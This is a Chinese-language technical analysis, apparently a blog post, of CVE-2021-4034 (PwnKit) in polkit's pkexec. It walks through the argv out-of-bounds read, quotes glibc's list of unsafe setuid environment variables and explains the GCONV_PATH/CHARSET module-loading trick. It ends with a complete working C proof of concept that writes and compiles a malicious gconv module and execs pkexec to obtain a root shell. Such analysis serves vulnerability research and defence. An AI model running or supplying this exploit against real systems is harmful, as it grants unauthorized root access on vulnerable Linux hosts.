CVE-2021-4034


CVE-2021-4034

源码分析

// 源码534行的for循环处理n初始值为1, 即`pkexec`默认最少有一个参数
// 处理命令行参数
for (n = 1; n < (guint) argc; n++)
{
    ...
}
...
// 复制argv[n]给path
path = g_strdup (argv[n]);

...
if (path == NULL)
{
    ...
}
if (path[0] != '/')
{
  s = g_find_program_in_path (path);
  // 如果path不是绝对路径则在用户路径中定位该程序
  if (s == NULL)
    {
      g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
      goto out;
    }
  g_free (path);
  argv[n] = path = s;
  // 把返回的路径赋值给path 和 argv[n]

但当pkexec没有参数时, 处理命令行参数的for循环判断条件n < (guint) argc恒为假, n = 1不会自增

继续执行path = g_strdup (argv[n]);

那么path = argv[1], 这里数组越界读, 那么读的是什么数据呢

安全客的文章用的内核代码分析内存布局

实际上用gdb调一下就可以了

pics

这里设置的参数依次分别为1 2 3 4, 于是可以看到

  • argv[0] –> name
  • argv[1] –> 1
  • argv[2] –> 2
  • argv[3] –> 3
  • argv[4] –> 4
  • argv[5] –> null
  • env[0] 紧接着argv[5]

path = argv[1]执行后, 继续执行s = g_find_program_in_path (path);

PATH中搜索可执行程序, 如果找到后, 并赋值给argv[1]即env[0]

利用

pkexec 是一个特权(suid) 文件, 动态链接器会在特权文件执行的时候清除敏感的环境变量

清除敏感环境变量

动态链接器会清除敏感环境变量

source_code

  if (__libc_enable_secure)
    {
      static const char unsecure_envvars[] =
        UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
        EXTRA_UNSECURE_ENVVARS
#endif
        ;
      const char *cp = unsecure_envvars;
      while (cp < unsecure_envvars + sizeof (unsecure_envvars))
        {
          __unsetenv (cp);
          cp = (const char *) __rawmemchr (cp, '\0') + 1;
        }
#if !HAVE_TUNABLES
      if (__access ("/etc/suid-debug", F_OK) != 0)
        __unsetenv ("MALLOC_CHECK_");
#endif
    }

危险环境变量列表

#if !HAVE_TUNABLES
# define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#else
# define GLIBC_TUNABLES_ENVVAR
#endif
/* Environment variable to be removed for SUID programs.  The names are
   all stuffed in a single string which means they have to be terminated
   with a '\0' explicitly.  */
#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"                                                              \
  "GETCONF_DIR\0"                                                              \
  GLIBC_TUNABLES_ENVVAR                                                              \
  "HOSTALIASES\0"                                                              \
  "LD_AUDIT\0"                                                                      \
  "LD_DEBUG\0"                                                                      \
  "LD_DEBUG_OUTPUT\0"                                                              \
  "LD_DYNAMIC_WEAK\0"                                                              \
  "LD_HWCAP_MASK\0"                                                              \
  "LD_LIBRARY_PATH\0"                                                              \
  "LD_ORIGIN_PATH\0"                                                              \
  "LD_PRELOAD\0"                                                              \
  "LD_PROFILE\0"                                                              \
  "LD_SHOW_AUXV\0"                                                              \
  "LD_USE_LOAD_BIAS\0"                                                              \
  "LOCALDOMAIN\0"                                                              \
  "LOCPATH\0"                                                                      \
  "MALLOC_TRACE\0"                                                              \
  "NIS_PATH\0"                                                                      \
  "NLSPATH\0"                                                                      \
  "RESOLV_HOST_CONF\0"                                                              \
  "RES_OPTIONS\0"                                                              \
  "TMPDIR\0"                                                                      \
  "TZDIR\0"

通过GCONV_PATH绕过执行命令

pkexec中调用了gblicg_printerr()函数用来输出错误信息

但当CHARSET不等于utf-8,g_printerr()函数就会调用iconv_open()

将编码转换成CHARSET设定的编码

改函数通过在GCONV_PATH的gconv-modules找到对应编码的.so路径,来执行编码函数实现编码

g_printerr.c

include 
#include 
#include 

int main(int argc, char *argv[]) {
        g_printerr("g_printerr\n");
        return 0;
}
gcc  `pkg-config --cflags glib-2.0`  printerr_.c -o printerr `pkg-config --libs glib-2.0`

pwnkit.c

#include 
#include 
#include 

void gconv() {}
void gconv_init() {
    puts("exec gconv_init");
}
gcc -shared -fPIC -O pwnkit.so pwnkit.c

gconv-modules

module UTF-8// PWNKIT// [$PWD]/pwnkit 2

修改环境变量

export GCONV_PATH=$PWD
export CHARSET=PWNKIT

可以看到修改环境变量后执行同样的printerr, 修改后可以直接运行pwnkit.so中的代码

思路

按照思路, 首先创建name-.文件夹, 并在里面放入value可执行文件, 再传入PATH=name=.

那么env[0]就会被改为name=./value, 即注入了新的环境变量进去

然后通过execve, 修改GCONV_PATH, 通过g_printerr函数与当前的非UTF-8环境,造成gconv_init执行,造成/bin/bash程序执行,恢复环境变量得到root shell

poc

#include 
#include 
#include 

char *shell =
        "#include \n"
        "#include \n"
        "#include \n\n"
        "void gconv() {}\n"
        "void gconv_init() {\n"
        "       setuid(0); setgid(0);\n"
        "       seteuid(0); setegid(0);\n"
        "       system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
        "       exit(0);\n"
        "}";

int main(int argc, char *argv[]) {
        FILE *fp;
        system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
        system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
        fp = fopen("pwnkit/pwnkit.c", "w");
        fprintf(fp, "%s", shell);
        fclose(fp);
        system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
        char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
        execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

  TOC